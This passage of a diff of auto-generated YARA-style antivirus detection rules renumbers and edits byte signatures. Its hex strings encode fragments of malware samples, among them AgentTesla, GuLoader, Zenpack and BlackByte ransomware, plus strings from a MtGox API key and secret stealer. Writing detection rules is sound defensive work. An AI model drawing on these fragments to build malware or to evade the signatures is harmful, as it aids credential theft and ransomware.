1)*16720+(#a_78_13 & 1)*29264) >=14 } -rule _InfrastructureShared_17759{ +rule _InfrastructureShared_18911{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,16 00 16 00 0d 00 21 " @@ -213006,7 +227055,7 @@ rule _InfrastructureShared_17759{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*11565+(#a_02_2 & 1)*65+(#a_01_3 & 1)*3072+(#a_00_4 & 1)*0+(#a_02_5 & 1)*5631+(#a_00_7 & 1)*117+(#a_00_8 & 1)*97+(#a_00_9 & 1)*108+(#a_00_11 & 1)*46) >=22 } -rule _InfrastructureShared_17760{ +rule _InfrastructureShared_18912{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,65 00 65 00 09 00 21 " @@ -213020,7 +227069,7 @@ rule _InfrastructureShared_17760{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*144+(#a_90_3 & 1)*8194+(#a_01_5 & 1)*30720+(#a_00_7 & 1)*112) >=101 } -rule _InfrastructureShared_17761{ +rule _InfrastructureShared_18913{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffff90 01 ffffff90 01 04 00 21 " @@ -213031,7 +227080,7 @@ rule _InfrastructureShared_17761{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*109) >=400 } -rule _InfrastructureShared_17762{ +rule _InfrastructureShared_18914{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -213043,7 +227092,7 @@ rule _InfrastructureShared_17762{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*46+(#a_03_2 & 1)*1) >=2 } -rule _InfrastructureShared_17763{ +rule _InfrastructureShared_18915{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -213056,7 +227105,7 @@ rule _InfrastructureShared_17763{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*8310+(#a_53_2 & 1)*28516+(#a_5f_3 & 1)*27753) >=2 } -rule _InfrastructureShared_17764{ +rule _InfrastructureShared_18916{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -213067,7 +227116,7 @@ rule _InfrastructureShared_17764{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*111) >=2 } -rule _InfrastructureShared_17765{ +rule _InfrastructureShared_18917{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -213079,7 +227128,7 @@ rule _InfrastructureShared_17765{ ((#a_46_0 & 1)*16675+(#a_5a_1 & 1)*16762+(#a_00_2 & 1)*50) >=3 } -rule _InfrastructureShared_17766{ +rule _InfrastructureShared_18918{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -213091,7 +227140,7 @@ rule _InfrastructureShared_17766{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*105+(#a_00_2 & 1)*33) >=4 } -rule _InfrastructureShared_17767{ +rule _InfrastructureShared_18919{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -213102,7 +227151,7 @@ rule _InfrastructureShared_17767{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*5632) >=4 } -rule _InfrastructureShared_17768{ +rule _InfrastructureShared_18920{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -213115,7 +227164,7 @@ rule _InfrastructureShared_17768{ ((#a_54_0 & 1)*18467+(#a_2b_1 & 1)*4886+(#a_6f_2 & 1)*4360+(#a_11_3 & 1)*4886) >=4 } -rule _InfrastructureShared_17769{ +rule _InfrastructureShared_18921{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -213128,7 +227177,7 @@ rule _InfrastructureShared_17769{ ((#a_46_0 & 1)*16675+(#a_e0_1 & 1)*-11893+(#a_8d_2 & 1)*329+(#a_54_3 & 1)*8499) >=5 } -rule _InfrastructureShared_17770{ +rule _InfrastructureShared_18922{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -213139,7 +227188,7 @@ rule _InfrastructureShared_17770{ ((#a_54_0 & 1)*18467+(#a_00_3 & 1)*400) >=5 } -rule _InfrastructureShared_17771{ +rule _InfrastructureShared_18923{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 0b 00 21 " @@ -213158,7 +227207,7 @@ rule _InfrastructureShared_17771{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*25959+(#a_6e_2 & 1)*29545+(#a_54_3 & 1)*18467+(#a_04_4 & 1)*24944+(#a_00_6 & 1)*19200+(#a_07_7 & 1)*2055+(#a_15_8 & 1)*1553+(#a_16_9 & 1)*-423+(#a_2d_10 & 1)*4362) >=5 } -rule _InfrastructureShared_17772{ +rule _InfrastructureShared_18924{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -213172,7 +227221,7 @@ rule _InfrastructureShared_17772{ ((#a_54_0 & 1)*18467+(#a_04_1 & 1)*24944+(#a_00_3 & 1)*19200+(#a_07_4 & 1)*2055+(#a_15_5 & 1)*1553) >=6 } -rule _InfrastructureShared_17773{ +rule _InfrastructureShared_18925{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -213186,7 +227235,7 @@ rule _InfrastructureShared_17773{ ((#a_54_0 & 1)*18467+(#a_04_1 & 1)*24944+(#a_00_3 & 1)*19200+(#a_07_4 & 1)*2055+(#a_15_5 & 1)*1553) >=6 } -rule _InfrastructureShared_17774{ +rule _InfrastructureShared_18926{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -213202,7 +227251,7 @@ rule _InfrastructureShared_17774{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*28515+(#a_74_2 & 1)*28515+(#a_6e_3 & 1)*27247+(#a_00_4 & 1)*48+(#a_00_5 & 1)*65+(#a_6e_6 & 1)*19828) >=7 } -rule _InfrastructureShared_17775{ +rule _InfrastructureShared_18927{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -213218,7 +227267,7 @@ rule _InfrastructureShared_17775{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1) >=7 } -rule _InfrastructureShared_17776{ +rule _InfrastructureShared_18928{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -213234,7 +227283,7 @@ rule _InfrastructureShared_17776{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*27507+(#a_73_2 & 1)*28265+(#a_69_3 & 1)*24944+(#a_64_4 & 1)*19813+(#a_4c_5 & 1)*25134+(#a_6e_6 & 1)*27247) >=7 } -rule _InfrastructureShared_17777{ +rule _InfrastructureShared_18929{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 09 00 21 " @@ -213252,7 +227301,7 @@ rule _InfrastructureShared_17777{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*385+(#a_63_2 & 1)*29560+(#a_73_3 & 1)*24436+(#a_61_4 & 1)*28530+(#a_73_5 & 1)*29542+(#a_70_6 & 1)*28483+(#a_65_7 & 1)*29806+(#a_75_8 & 1)*29541) >=7 } -rule _InfrastructureShared_17778{ +rule _InfrastructureShared_18930{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -213267,7 +227316,7 @@ rule _InfrastructureShared_17778{ ((#a_54_0 & 1)*18467+(#a_6f_2 & 1)*385+(#a_6f_4 & 1)*21249+(#a_64_5 & 1)*25700+(#a_64_6 & 1)*30318+(#a_2e_7 & 1)*25961) >=8 } -rule _InfrastructureShared_17779{ +rule _InfrastructureShared_18931{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -213279,12 +227328,12 @@ rule _InfrastructureShared_17779{ $a_52_4 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 50 31 30 30 34 32 34 21 4d 54 42 00 01 00 67 01 52 46 45 51 52 42 32 36 58 33 50 44 45 44 46 57 56 42 4e 4e 7a 37 5a 35 4c 71 76 4a 61 59 68 42 71 7a 4d 50 49 51 62 39 33 59 70 6c } //21320 $a_50_5 = {34 31 38 39 6c 49 5a 63 56 52 55 4b 49 6b 76 70 44 78 36 58 79 54 79 49 6d 42 65 32 4a 57 71 47 6d 50 4a 59 4f 47 5a 72 75 4b 64 34 63 50 48 77 44 43 6e 67 33 77 01 00 0f 01 69 6e 6c 61 77 51 7a 73 68 6c 75 2e 65 78 } //20071 $a_6f_7 = {42 61 73 65 36 34 53 74 72 69 6e 67 01 00 0f 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 01 00 09 01 47 65 74 44 6f 6d 61 69 6e 01 00 0c 01 49 6e 76 6f 6b 65 4d 65 6d 62 65 72 01 00 09 01 57 72 69 74 65 4c 69 6e 65 01 00 1e 01 54 72 69 70 6c 65 44 45 53 43 72 79 70 74 6f 53 65 72 76 69 63 65 50 72 6f 76 69 64 65 72 01 00 09 01 47 65 74 } //17921 - $a_68_8 = {64 01 00 09 01 42 6c 6f 63 6b 43 6f 70 79 00 00 78 3e 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 5a 65 6e 70 61 63 6b 2e 41 00 01 00 1d 81 01 31 63 72 65 61 74 65 64 65 62 65 61 73 74 77 6f 6e 2e 74 74 64 61 79 46 6f 77 6c 54 78 01 00 0d 81 01 67 72 65 61 74 45 63 44 54 4f 70 65 6e 01 00 1b 81 01 66 6f 77 6c 68 69 73 6e 65 76 } //25933 + $a_68_8 = {64 01 00 09 01 42 6c 6f 63 6b 43 6f 70 79 00 00 78 3e 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 54 42 21 4d 54 42 00 01 00 1c 81 01 5c 63 65 6e 74 72 6f 70 6c 61 73 6d 5c 63 61 71 75 65 74 65 75 73 65 73 2e 7a 69 70 01 00 0d 81 01 61 6d 65 72 69 6b 61 6e 69 2e 73 61 6d 01 00 } //25933 condition: ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*26478+(#a_00_2 & 1)*29541+(#a_61_3 & 1)*21249+(#a_52_4 & 1)*21320+(#a_50_5 & 1)*20071+(#a_6f_7 & 1)*17921+(#a_68_8 & 1)*25933) >=9 } -rule _InfrastructureShared_17780{ +rule _InfrastructureShared_18932{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -213292,18 +227341,37 @@ rule _InfrastructureShared_17780{ $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 50 31 30 30 34 32 34 21 4d 54 42 00 01 00 67 01 52 46 45 51 52 42 32 36 58 33 50 44 45 44 46 57 56 42 4e 4e 7a 37 5a 35 4c 71 76 4a 61 59 68 42 71 7a 4d 50 49 51 62 39 33 59 } //18467 $a_4e_1 = {50 4d 34 31 38 39 6c 49 5a 63 56 52 55 4b 49 6b 76 70 44 78 36 58 79 54 79 49 6d 42 65 32 4a 57 71 47 6d 50 4a 59 4f 47 5a 72 75 4b 64 34 63 50 48 77 44 43 6e 67 33 77 01 00 0f 01 69 6e 6c 61 77 51 7a 73 68 6c 75 2e 65 78 65 01 00 10 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 0f 01 43 72 65 61 } //27760 $a_65_2 = {72 79 70 74 6f 72 01 00 09 01 47 65 74 44 6f 6d 61 69 6e 01 00 0c 01 49 6e 76 6f 6b 65 4d 65 6d 62 65 72 01 00 09 01 57 72 69 74 65 4c 69 6e 65 01 00 1e 01 54 72 69 70 6c 65 44 45 53 43 72 79 70 74 6f 53 } //25972 - $a_69_3 = {65 50 72 6f 76 69 64 65 72 01 00 09 01 47 65 74 4d 65 74 68 6f 64 01 00 09 01 42 6c 6f 63 6b 43 6f 70 79 00 00 78 3e 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 5a 65 6e 70 61 63 6b 2e 41 00 01 00 1d 81 01 31 63 72 65 61 74 65 64 65 62 65 61 73 74 77 6f 6e 2e 74 74 64 61 79 46 6f 77 6c 54 78 01 00 0d 81 01 67 72 65 61 74 45 63 44 54 } //29285 - $a_6e_4 = {00 1b 81 01 66 6f 77 6c 68 69 73 6e 65 76 65 6e 69 6e 67 6b 69 6e 64 2e 46 74 68 65 69 72 74 01 00 16 81 01 6c 69 67 68 74 73 67 61 74 68 65 72 65 64 62 72 69 6e 67 32 69 5a 01 00 16 81 01 67 79 6f 75 2e 6c 6c 74 59 74 74 68 65 6d 51 73 65 61 73 6f 6e 73 01 00 28 81 01 64 69 76 69 64 65 64 2e 6a 73 6f } //28751 - $a_61_5 = {65 43 6d 75 6c 74 69 70 6c 79 54 67 61 74 68 65 72 69 6e 67 78 64 61 79 01 00 16 81 01 51 6c 61 6e 64 61 6c 73 6f 2e 64 65 65 70 32 68 69 73 64 61 79 32 01 00 13 81 01 46 4a 69 6d 61 67 65 64 72 79 30 6d 75 6c 74 69 70 6c 79 01 00 12 81 01 54 70 6d 6f 72 6e 69 6e 67 6d 61 6e 4f 66 6d 61 6c 65 01 00 19 81 01 42 74 68 65 72 } //28718 - $a_64_6 = {73 66 73 69 78 74 68 70 6b 69 6e 64 2e 49 74 00 00 78 3e 01 00 0b 00 0b 00 0b 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4b 53 21 4d 53 52 00 01 00 24 80 01 33 39 65 37 36 61 62 64 2d 36 63 34 38 2d 34 62 35 33 2d 62 39 64 66 2d 31 39 33 30 64 37 62 66 36 38 63 30 01 00 1b 80 01 53 74 61 74 69 63 } //11877 - $a_61_7 = {49 6e 69 74 54 79 70 65 53 69 7a 65 2e 65 78 65 01 00 0b 80 01 4d 74 47 6f 78 54 72 61 64 65 72 01 00 0a 80 01 46 75 6e 64 41 6d 6f 75 6e 74 01 00 0b 80 01 6d 74 47 6f 78 57 61 6c 6c 65 74 01 00 1b 80 01 73 74 61 74 69 63 61 72 72 61 79 69 6e 69 74 74 79 70 65 73 69 7a 65 2e 70 64 62 01 00 0e 80 01 4d 74 47 6f 78 20 41 50 49 20 4b 65 79 3a } //29249 - $a_80_8 = {4d 74 47 6f 78 20 41 50 49 20 53 65 63 72 65 74 3a } //MtGox API Secret: 1 - $a_80_9 = {4d 74 47 6f 78 54 72 61 64 65 72 2e 4d 74 47 6f 78 41 50 49 43 6c 69 65 6e 74 } //MtGoxTrader.MtGoxAPIClient 1 + $a_69_3 = {65 50 72 6f 76 69 64 65 72 01 00 09 01 47 65 74 4d 65 74 68 6f 64 01 00 09 01 42 6c 6f 63 6b 43 6f 70 79 00 00 78 3e 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 54 42 21 4d 54 42 00 01 00 1c 81 01 5c 63 65 6e 74 72 6f 70 6c 61 73 6d 5c 63 61 71 75 65 74 65 75 73 65 73 2e 7a 69 70 01 } //29285 + $a_01_4 = {61 6d 65 72 69 6b 61 6e 69 2e 73 61 6d 01 00 13 81 01 64 79 72 6b 6e 69 6e 67 73 6d 65 74 6f 64 65 2e 73 6e 65 01 00 16 81 01 67 65 6e 65 72 61 6c 69 73 61 74 69 6f 6e 65 72 6e 65 2e 69 6e 69 01 00 1a 81 01 6a 6f 62 73 6b 61 62 65 6c 73 65 73 6f 72 64 6e 69 6e 67 65 6e 73 2e 6a 70 67 01 00 16 81 01 5c 73 65 69 67 6e 65 75 72 79 5c 70 72 75 6e 65 6c 6c 2e 7a 69 70 01 00 13 81 01 5c 75 } //3328 + $a_73_5 = {6f 64 67 65 61 62 6c 65 2e 69 6e 69 01 00 19 81 01 5c 65 6d 75 73 63 61 74 69 6f 6e 5c 43 65 6c 69 62 61 74 69 63 2e 65 78 65 01 00 11 81 01 5c 53 6c 61 67 73 62 72 6f 64 65 72 73 2e 65 78 65 01 00 20 81 01 5c 64 61 74 61 6d 61 74 69 6b 65 72 65 6e 73 5c 70 72 6f 74 65 69 6e 72 69 67 65 73 2e 69 6e 69 00 00 78 3e } //25710 + $a_00_6 = {0a 00 0a 00 21 23 48 53 54 52 } //1 + $a_6e_7 = {32 2f 5a 65 6e 70 61 63 6b 2e 41 00 01 00 1d 81 01 31 63 72 65 61 74 65 64 65 62 65 61 73 74 77 6f 6e 2e 74 74 64 61 79 46 6f 77 6c 54 78 01 00 0d 81 01 67 72 65 61 74 45 63 44 54 4f 70 65 6e 01 00 1b 81 01 66 6f 77 6c 68 69 73 6e 65 76 65 6e 69 6e 67 6b 69 6e 64 2e 46 74 68 65 69 72 74 01 00 16 81 01 6c 69 67 68 } //22330 + $a_61_8 = {68 65 72 65 64 62 72 69 6e 67 32 69 5a 01 00 16 81 01 67 79 6f 75 2e 6c 6c 74 59 74 74 68 65 6d 51 73 65 61 73 6f 6e 73 01 00 28 81 01 64 69 76 69 64 65 64 2e 6a 73 6f 2e 70 6c 61 63 65 43 6d 75 6c 74 69 70 6c 79 54 67 61 74 68 65 72 69 6e 67 78 64 61 79 01 00 16 81 01 51 6c 61 6e 64 61 6c 73 6f 2e 64 65 65 } //29556 + $a_69_9 = {64 61 79 32 01 00 13 81 01 46 4a 69 6d 61 67 65 64 72 79 30 6d 75 6c 74 69 70 6c 79 01 00 12 81 01 54 70 6d 6f 72 6e 69 6e 67 6d 61 6e 4f 66 6d 61 6c 65 01 00 19 81 01 42 74 68 65 72 65 2e 73 64 75 73 66 73 69 78 74 68 70 6b 69 6e 64 2e 49 74 00 00 78 3e 01 00 0b 00 0b 00 0b 00 21 23 41 4c 46 3a 54 72 6f 6a 61 } //12912 condition: - ((#a_54_0 & 1)*18467+(#a_4e_1 & 1)*27760+(#a_65_2 & 1)*25972+(#a_69_3 & 1)*29285+(#a_6e_4 & 1)*28751+(#a_61_5 & 1)*28718+(#a_64_6 & 1)*11877+(#a_61_7 & 1)*29249+(#a_80_8 & 1)*1+(#a_80_9 & 1)*1) >=10 + ((#a_54_0 & 1)*18467+(#a_4e_1 & 1)*27760+(#a_65_2 & 1)*25972+(#a_69_3 & 1)*29285+(#a_01_4 & 1)*3328+(#a_73_5 & 1)*25710+(#a_00_6 & 1)*1+(#a_6e_7 & 1)*22330+(#a_61_8 & 1)*29556+(#a_69_9 & 1)*12912) >=10 } -rule _InfrastructureShared_17781{ +rule _InfrastructureShared_18933{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 54 42 21 4d 54 42 00 01 00 1c 81 01 5c 63 65 6e 74 72 6f 70 6c 61 73 6d 5c 63 61 71 75 65 74 65 75 73 65 73 2e 7a 69 70 01 00 0d 81 01 61 6d 65 72 69 6b 61 6e 69 2e 73 61 6d 01 } //18467 + $a_01_1 = {64 79 72 6b 6e 69 6e 67 73 6d 65 74 6f 64 65 2e 73 6e 65 01 00 16 81 01 67 65 6e 65 72 61 6c 69 73 61 74 69 6f 6e 65 72 6e 65 2e 69 6e 69 01 00 1a 81 01 6a 6f 62 73 6b 61 62 65 6c 73 65 73 6f 72 64 6e 69 6e 67 65 6e 73 2e 6a 70 67 01 00 16 81 01 5c 73 65 69 67 6e 65 75 72 79 5c 70 72 75 6e 65 6c 6c 2e 7a 69 70 01 00 13 81 01 5c 75 6e 64 69 73 6c 6f 64 67 65 61 62 6c 65 2e 69 6e 69 01 } //4864 + $a_01_2 = {5c 65 6d 75 73 63 61 74 69 6f 6e 5c 43 65 6c 69 62 61 74 69 63 2e 65 78 65 01 00 11 81 01 5c 53 6c 61 67 73 62 72 6f 64 65 72 73 2e 65 78 65 01 00 20 81 01 5c 64 61 74 61 6d 61 74 69 6b 65 72 65 6e 73 5c 70 72 6f 74 65 69 6e 72 69 67 65 73 2e 69 6e 69 00 00 78 3e 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 5a 65 6e 70 61 63 6b 2e 41 00 01 00 1d 81 01 31 63 72 65 61 } //6400 + $a_65_3 = {65 61 73 74 77 6f 6e 2e 74 74 64 61 79 46 6f 77 6c 54 78 01 00 0d 81 01 67 72 65 61 74 45 63 44 54 4f 70 65 6e 01 00 1b 81 01 66 6f 77 6c 68 69 73 6e 65 76 65 6e 69 6e 67 6b 69 6e 64 2e 46 74 68 65 69 72 74 01 00 16 81 01 6c 69 67 68 74 73 67 61 74 68 65 72 65 64 62 72 69 6e 67 32 69 5a 01 00 16 81 } //25972 + $a_6f_4 = {2e 6c 6c 74 59 74 74 68 65 6d 51 73 65 61 73 6f 6e 73 01 00 28 81 01 64 69 76 69 64 65 64 2e 6a 73 6f 2e 70 6c 61 63 65 43 6d 75 6c 74 69 70 6c 79 54 67 61 74 68 65 72 69 6e 67 78 64 61 79 01 00 16 81 01 51 6c 61 6e 64 61 6c 73 6f 2e 64 65 65 70 32 68 69 73 64 61 79 32 01 00 13 81 01 46 4a 69 6d 61 67 65 64 72 79 30 6d 75 6c 74 69 70 6c 79 01 00 12 81 01 54 70 } //26369 + $a_6e_5 = {6e 67 6d 61 6e 4f 66 6d 61 6c 65 01 00 19 81 01 42 74 68 65 72 65 2e 73 64 75 73 66 73 69 78 74 68 70 6b 69 6e 64 2e 49 74 00 00 78 3e 01 00 0b 00 0b 00 0b 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4b 53 21 4d 53 52 00 01 00 24 80 01 33 39 65 37 36 61 62 64 2d 36 63 34 38 2d 34 62 35 33 2d 62 } //28525 + $a_2d_6 = {39 33 30 64 37 62 66 36 38 63 30 01 00 1b 80 01 53 74 61 74 69 63 41 72 72 61 79 49 6e 69 74 54 79 70 65 53 69 7a 65 2e 65 78 65 01 00 0b 80 01 4d 74 47 6f 78 54 72 61 64 65 72 01 00 0a 80 01 46 75 6e 64 41 6d 6f 75 6e 74 01 00 0b 80 01 6d 74 47 6f 78 57 61 6c 6c 65 74 01 00 1b 80 01 73 74 61 74 69 63 61 } //25657 + $a_79_7 = {6e 69 74 74 79 70 65 73 69 7a 65 2e 70 64 62 01 00 0e 80 01 4d 74 47 6f 78 20 41 50 49 20 4b 65 79 3a 01 00 11 80 01 4d 74 47 6f 78 20 41 50 49 20 53 65 63 72 65 74 3a 01 00 1a 80 01 4d 74 47 6f 78 54 72 61 64 65 72 2e 4d 74 47 6f 78 41 50 49 43 6c 69 65 6e 74 01 00 1b 80 01 4d 74 47 6f 78 } //29298 + $a_64_8 = {72 2e 46 6f 72 6d 31 2e 72 65 73 6f 75 72 63 65 73 01 00 0d 80 01 67 65 74 4f 72 64 65 72 73 2e 70 68 70 00 00 78 3e 01 00 0d 00 0d 00 04 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 36 34 2f 42 6c 61 63 6b 42 79 74 65 2e 41 44 21 4d 54 42 00 0a 00 87 03 48 83 ec 38 48 89 6c 24 30 48 } //29268 + $a_30_9 = {8d 05 90 01 05 e8 90 01 04 48 89 44 24 18 c6 00 90 01 01 48 8d 05 90 01 04 e8 90 01 04 48 89 44 24 28 48 c7 } //27789 + condition: + ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*4864+(#a_01_2 & 1)*6400+(#a_65_3 & 1)*25972+(#a_6f_4 & 1)*26369+(#a_6e_5 & 1)*28525+(#a_2d_6 & 1)*25657+(#a_79_7 & 1)*29298+(#a_64_8 & 1)*29268+(#a_30_9 & 1)*27789) >=10 + +} +rule _InfrastructureShared_18934{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -213321,7 +227389,7 @@ rule _InfrastructureShared_17781{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*25974+(#a_00_2 & 1)*31073+(#a_6c_3 & 1)*385+(#a_69_4 & 1)*26227+(#a_74_5 & 1)*28233+(#a_3a_6 & 1)*25931+(#a_6f_7 & 1)*28257+(#a_48_8 & 1)*400) >=10 } -rule _InfrastructureShared_17782{ +rule _InfrastructureShared_18935{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -213341,7 +227409,7 @@ rule _InfrastructureShared_17782{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*29779+(#a_62_2 & 1)*28718+(#a_01_3 & 1)*25955+(#a_48_4 & 1)*9284+(#a_90_5 & 1)*2185+(#a_bf_6 & 1)*8520+(#a_00_7 & 1)*28009+(#a_5a_8 & 1)*384+(#a_31_9 & 1)*17408+(#a_6d_10 & 1)*28009) >=11 } -rule _InfrastructureShared_17783{ +rule _InfrastructureShared_18936{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 04 00 21 " @@ -213354,7 +227422,7 @@ rule _InfrastructureShared_17783{ ((#a_46_0 & 1)*16675+(#a_89_1 & 1)*1025+(#a_24_2 & 1)*-29880+(#a_ff_3 & 1)*4235) >=13 } -rule _InfrastructureShared_17784{ +rule _InfrastructureShared_18937{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,13 00 13 00 0a 00 21 " @@ -213372,7 +227440,7 @@ rule _InfrastructureShared_17784{ ((#a_54_0 & 1)*18467+(#a_52_1 & 1)*-32753+(#a_63_2 & 1)*29300+(#a_72_3 & 1)*30318+(#a_01_4 & 1)*30720+(#a_38_5 & 1)*14125+(#a_72_6 & 1)*28531+(#a_74_7 & 1)*26369+(#a_3a_8 & 1)*28527) >=19 } -rule _InfrastructureShared_17785{ +rule _InfrastructureShared_18938{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,13 00 13 00 0a 00 21 " @@ -213390,7 +227458,7 @@ rule _InfrastructureShared_17785{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29301+(#a_00_2 & 1)*29541+(#a_69_3 & 1)*384+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1+(#a_3e_6 & 1)*0+(#a_00_8 & 1)*119+(#a_00_9 & 1)*110) >=19 } -rule _InfrastructureShared_17786{ +rule _InfrastructureShared_18939{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,2c 01 2c 01 03 00 21 " @@ -213401,7 +227469,7 @@ rule _InfrastructureShared_17786{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*32) >=300 } -rule _InfrastructureShared_17787{ +rule _InfrastructureShared_18940{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -213414,7 +227482,7 @@ rule _InfrastructureShared_17787{ ((#a_72_0 & 1)*22051+(#a_ad_1 & 1)*259+(#a_66_2 & 1)*517+(#a_9c_3 & 1)*6146) >=1 } -rule _InfrastructureShared_17788{ +rule _InfrastructureShared_18941{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 06 00 21 " @@ -213429,7 +227497,7 @@ rule _InfrastructureShared_17788{ ((#a_54_0 & 1)*18467+(#a_3d_1 & 1)*4488+(#a_00_2 & 1)*-28587+(#a_05_3 & 1)*-28671+(#a_01_4 & 1)*30161+(#a_4f_5 & 1)*26740) >=1 } -rule _InfrastructureShared_17789{ +rule _InfrastructureShared_18942{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 06 00 21 " @@ -213444,7 +227512,7 @@ rule _InfrastructureShared_17789{ ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*8308+(#a_09_2 & 1)*6544+(#a_2d_3 & 1)*31277+(#a_64_4 & 1)*29295+(#a_75_5 & 1)*3327) >=2 } -rule _InfrastructureShared_17790{ +rule _InfrastructureShared_18943{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 06 00 21 " @@ -213459,7 +227527,7 @@ rule _InfrastructureShared_17790{ ((#a_5f_0 & 1)*25635+(#a_56_1 & 1)*-30720+(#a_35_2 & 1)*13893+(#a_6e_3 & 1)*24919+(#a_2d_4 & 1)*385+(#a_65_5 & 1)*28532) >=2 } -rule _InfrastructureShared_17791{ +rule _InfrastructureShared_18944{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 07 00 21 " @@ -213474,7 +227542,7 @@ rule _InfrastructureShared_17791{ ((#a_46_0 & 